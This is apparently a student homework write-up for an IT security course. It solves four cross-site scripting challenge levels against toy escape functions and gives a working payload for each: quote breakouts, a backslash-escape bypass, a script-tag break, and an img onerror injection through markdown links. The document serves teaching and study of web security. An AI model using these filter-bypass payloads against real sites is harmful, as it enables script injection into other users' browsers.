Introduction to IT Security

Homework 8 – Cross Site Scripting

Abraham Murciano and Jacques Benzakein

September 30, 2020

1 Warmup

We are told that there is a function `escape` which takes our input string `s` and generates some HTML to log the text in the browser console. Our task is to give it input which would cause the browser to alert '1'. Below is the function.

```
function escape(s) {
    return '<script>console.log("'+s+'");</script>';
}
```

In this case, the string `"+alert(1)+"` (with quotes) would cause the browser to alert '1'.

2 Adobe

In this section, we have a slightly more complex `escape` function. This time it escapes any double quotes in the input string.

```
function escape(s) {
    s = s.replace(/"/g, '\\"');
    return '<script>console.log("' + s + '");</script>';
}
```

In order to successfully close the first open quote, we input `\"` which would be converted to `\\"`. We escape the backslash with our own backslash, leaving the double quote unescaped.

Then to get rid of the original double quote after we alert '1', we use `)//` to close the brackets and comment out the trailing quote. The final input was `\"+alert(1))//`.

3 JSON

Here, the `escape` function uses `JSON.stringify` instead of a regex replace. This also escapes our backslashes, so we cannot use the trick from the previous challenge. The code is the following.

```
function escape(s) {
    s = JSON.stringify(s);
    return '<script>console.log(' + s + ');</script>';
}
```

Instead, we are able to close the script tag and open a new one, then comment out the remaining code. Like this.

```
</script><script>alert(1)//
```

4 Markdown

Now we have a more complex function. The first statement replaces `<` and `"` with `<` and `&quot;` respectively. Then the next two statements simply perform some markdown processing on links and images.

```
function escape(s) {
    var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
    // URLs
    text = text.replace(/(http:\/\/\S+)/g,
        '<a href="$1">$1</a>');
    // [[img123|Description]]
    text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g,
    '<img alt="$2" src="$1.gif">');
    return text;
}
```

The trick here was to put a link inside an image description, so each of their double quotes would cancel each other out. Suppose we input the following string.

```
[[_|http://onerror='alert(1)']]
```

This string gets converted into the following HTML code.

```
<img alt="<a href="http://onerror=alert(1)//" src="_.gif">">
http://onerror=alert(1)//]]</a>
```

When the browser attempts to render this, it first sees an image tag, with an `alt` attribute with the value `<a href=`, since the quote immediately following the `=` closes the first one. Then the browser detects an attribute `http:` with no value, and then `onerror=alert(1)//"` becomes another attribute of this image tag in the form of `onerror="alert(1)//""`. The trailing double quote becomes part of the JavaScript, but it is commented out to have no effect. Then the remaining text simply becomes a text node.

So the `onerror` attribute's value runs as JavaScript code since the image `_.gif` was not able to load because it does not exist.